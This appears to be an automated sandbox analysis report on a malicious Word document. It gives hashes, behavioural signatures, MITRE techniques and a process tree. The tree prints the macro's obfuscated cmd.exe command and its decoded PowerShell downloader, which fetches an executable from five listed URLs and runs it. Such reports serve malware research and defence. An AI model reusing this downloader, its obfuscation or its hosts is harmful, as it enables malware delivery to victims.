302d111df88971a8852fad6dcfc4463c0ee7cbddd465ac127c0702c59d2757cb

Analysis

max time kernel
103s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2024 00:03

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General

Target

088e0aa1d899cc55046dcd2f1ae592a3_JaffaCakes118.doc
Size

138KB
MD5

088e0aa1d899cc55046dcd2f1ae592a3
SHA1

b40b2f3cb411e37f55d101d9019a50666160ff7b
SHA256

302d111df88971a8852fad6dcfc4463c0ee7cbddd465ac127c0702c59d2757cb
SHA512

f60bf916c05b45be2f86a88571fa1d52ea0c4fd4170ccdaf1f26799280d2e14aa366c0e2e22a963f1485592cac3a5b5b662445c3239f6c65cddabe9380b9e644
SSDEEP

1536:dP981ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadk+aRbPJl21X/lnnF:d18GhDS0o9zTGOZD6EbzCdw32NhF

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4784	4084	cmd.exe	84

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4084	WINWORD.EXE
4084	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1176	powershell.exe
1176	powershell.exe
1636	powershell.exe
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4084	WINWORD.EXE
4084	WINWORD.EXE
4084	WINWORD.EXE
4084	WINWORD.EXE
4084	WINWORD.EXE
4084	WINWORD.EXE
4084	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 4784	4084	WINWORD.EXE	87
PID 4084 wrote to memory of 4784	4084	WINWORD.EXE	87
PID 4784 wrote to memory of 864	4784	cmd.exe	89
PID 4784 wrote to memory of 864	4784	cmd.exe	89
PID 4784 wrote to memory of 1680	4784	cmd.exe	90
PID 4784 wrote to memory of 1680	4784	cmd.exe	90
PID 1680 wrote to memory of 4836	1680	cmd.exe	91
PID 1680 wrote to memory of 4836	1680	cmd.exe	91
PID 4836 wrote to memory of 4792	4836	cmd.exe	92
PID 4836 wrote to memory of 4792	4836	cmd.exe	92
PID 4836 wrote to memory of 1064	4836	cmd.exe	93
PID 4836 wrote to memory of 1064	4836	cmd.exe	93
PID 1680 wrote to memory of 1176	1680	cmd.exe	94
PID 1680 wrote to memory of 1176	1680	cmd.exe	94
PID 1176 wrote to memory of 1636	1176	powershell.exe	95
PID 1176 wrote to memory of 1636	1176	powershell.exe	95

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\088e0aa1d899cc55046dcd2f1ae592a3_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /V:/C"set D5=;'AJA'=YGu$}}{hctac}};kaerb;'iQM'=lbj$;XMC$ metI-ekovnI{ )00008 eg- htgnel.)XMC$ metI-teG(( fI;'utr'=qYO$;)XMC$ ,vYq$(eliFdaolnwoD.ihP${yrt{)sQD$ ni vYq$(hcaerof;'exe.'+wSw$+'\'+pmet:vne$=XMC$;'OVL'=IZY$;'865' = wSw$;'TBZ'=jSP$;)'@'(tilpS.'FXXm1xSO/moc.oidutssdnimlacigam//:ptth@k98SL52Oqg/moc.stnapyknufcm//:ptth@lE9pfhVr/moc.namllimleahcim//:ptth@iqRsEeZTG/moc.zyobeniram//:ptth@pFksMeQWB/moc.dleifekaweram//:ptth'=sQD$;tneilCbeW.teN tcejbo-wen=ihP$;'HVk'=wiw$ llehsrewop&&for /L %b in (472,-1,0)do set uw=!uw!!D5:~%b,1!&&if %b equ 0 echo !uw:~-473! |FOR /F "tokens=12 delims=\n.D5" %5 IN ('ftype^^^|findstr Cons')DO %5 -"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo powershell $wiw='kVH';$Phi=new-object Net.WebClient;$DQs='http://marewakefield.com/BWQeMskFp@http://marineboyz.com/GTZeEsRqi@http://michaelmillman.com/rVhfp9El@http://mcfunkypants.com/gqO25LS89k@http://magicalmindsstudio.com/OSx1mXXF'.Split('@');$PSj='ZBT';$wSw = '568';$YZI='LVO';$CMX=$env:temp+'\'+$wSw+'.exe';foreach($qYv in $DQs){try{$Phi.DownloadFile($qYv, $CMX);$OYq='rtu';If ((Get-Item $CMX).length -ge 80000) {Invoke-Item $CMX;$jbl='MQi';break;}}catch{}}$uGY='AJA'; "
    3⤵
    PID:864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=12 delims=\n.D5" %5 IN ('ftype^|findstr Cons') DO %5 -"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ftype|findstr Cons
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ftype"
        5⤵
        
        PID:4792
    - - C:\Windows\system32\findstr.exe
        
        findstr Cons
        5⤵
        
        PID:1064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =kVH
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc33yhcb.jou.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1176-37-0x000002DD5F7C0000-0x000002DD5F7E2000-memory.dmp

Filesize
136KB

Download
memory/1176-48-0x000002DD782A0000-0x000002DD78316000-memory.dmp

Filesize
472KB

Download
memory/1176-47-0x000002DD781D0000-0x000002DD78214000-memory.dmp

Filesize
272KB

Download
memory/4084-32-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-36-0x00000246EEE50000-0x00000246EFE20000-memory.dmp

Filesize
15.8MB

Download
memory/4084-6-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-8-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-9-0x00007FFD8C5D0000-0x00007FFD8C5E0000-memory.dmp

Filesize
64KB

Download
memory/4084-11-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-13-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-12-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-15-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-16-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-19-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-18-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-17-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-14-0x00007FFD8C5D0000-0x00007FFD8C5E0000-memory.dmp

Filesize
64KB

Download
memory/4084-10-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-0-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-33-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-34-0x00000246EEE50000-0x00000246EFE20000-memory.dmp

Filesize
15.8MB

Download
memory/4084-35-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-7-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-5-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-4-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-3-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-1-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-68-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-69-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-70-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4084-71-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-72-0x00000246EEE50000-0x00000246EFE20000-memory.dmp

Filesize
15.8MB

Download
memory/4084-73-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-74-0x00000246EAF40000-0x00000246EB740000-memory.dmp

Filesize
8.0MB

Download
memory/4084-75-0x00000246EEE50000-0x00000246EFE20000-memory.dmp

Filesize
15.8MB

Download
memory/4084-2-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-96-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-97-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-95-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-98-0x00007FFD8E630000-0x00007FFD8E640000-memory.dmp

Filesize
64KB

Download
memory/4084-99-0x00007FFDCE5B0000-0x00007FFDCE7A5000-memory.dmp

Filesize
2.0MB

Download